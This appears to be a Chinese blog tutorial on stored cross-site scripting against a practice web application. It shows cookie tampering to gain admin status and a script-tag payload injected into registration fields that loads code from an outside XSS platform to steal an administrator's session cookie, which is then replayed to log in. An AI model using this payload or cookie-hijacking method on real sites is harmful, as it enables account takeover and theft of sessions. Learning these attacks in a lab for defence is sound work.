XSS原理与解析

简单来说就是用cookie来登录。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

证明存在XSS,一般打弹窗()或者直接窃取cookie(标签触发,不用点击)

第二种方法就是通过伪协议来证明XSS,http:// ftp://(伪协议触发,需要点击,有点类似于链接,需要点击才会跳转,所以才会触发)

第三种事件触发:满足某种条件自动触发。

注册一个账号,昵称这里是存储型XSS

http://59.63.200.79:8002/d/index.asp

在这里插入图片描述
因为是一个存储型XSS,所以每次登陆的时候,都会触发这个XSS
在这里插入图片描述

这里插一个题外话,我们用普通用户变成管理员用户,

在这里插入图片描述
这里用插件把admin的值改为1,再把shenfen的值改为1,就从普通用户变成了管理员身份。
在这里插入图片描述
在这里插入图片描述
用管理员身份进入后台。
在这里插入图片描述
在这里插入图片描述

会看到弹窗,说明其他用户也会触发这个储存型的xss

那就表明了,可以窃取admin的cookie
在这里插入图片描述
好的,回到XSS,注册一个xss平台的账号,然后除了选这2个,其他都是默认。
在这里插入图片描述
然后选择这个短的xss代码。
在这里插入图片描述
如果最短的那个代码不行,那就用一般格式的代码
在这里插入图片描述

把这个代码复制进去。点击注册。
(如果只在用户昵称,这一栏插入,那么xss平台智能获取自己的cookie,别人来访问的话,不会获取的别人的cookie,如果想获取别人的cookie的话,建议全部插入,因为这样不管是不是别人,都可以窃取自己或者别人的cookie)
在这里插入图片描述
注册成功后,我们去查看xss平台获取的cookie
在这里插入图片描述
获得的cookie。
在这里插入图片描述
管理员登录查看后台,触发XSS,
在这里插入图片描述
但是这里楼主的XSS触发失败,
那么我们就重新打下XSS,用正常一点的xss语句,不用之前那个短的xss语句。

<sCRiPt sRC=//xs.sb/mWBX></sCrIpT>

在这里插入图片描述
多插一行。点击注册,成功插入储存型XSS
在这里插入图片描述

经过楼主的反复试验,如果想获取别人的cookie的话,必须是“真实姓名”这一栏才有效果,其他的只是抓取自己的cookie

在这里插入图片描述

然后到xss平台看刚刚偷到的cookie

在这里插入图片描述
储存型xss插入数据库后,管理员账户一登录查看后台,xss平台就会获取到管理员的cookie。
打开xss平台可以看到这里多了一条,我们打开一看就是管理员的cookie
在这里插入图片描述
在这里插入图片描述
之后我们把cookie登录就行。
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值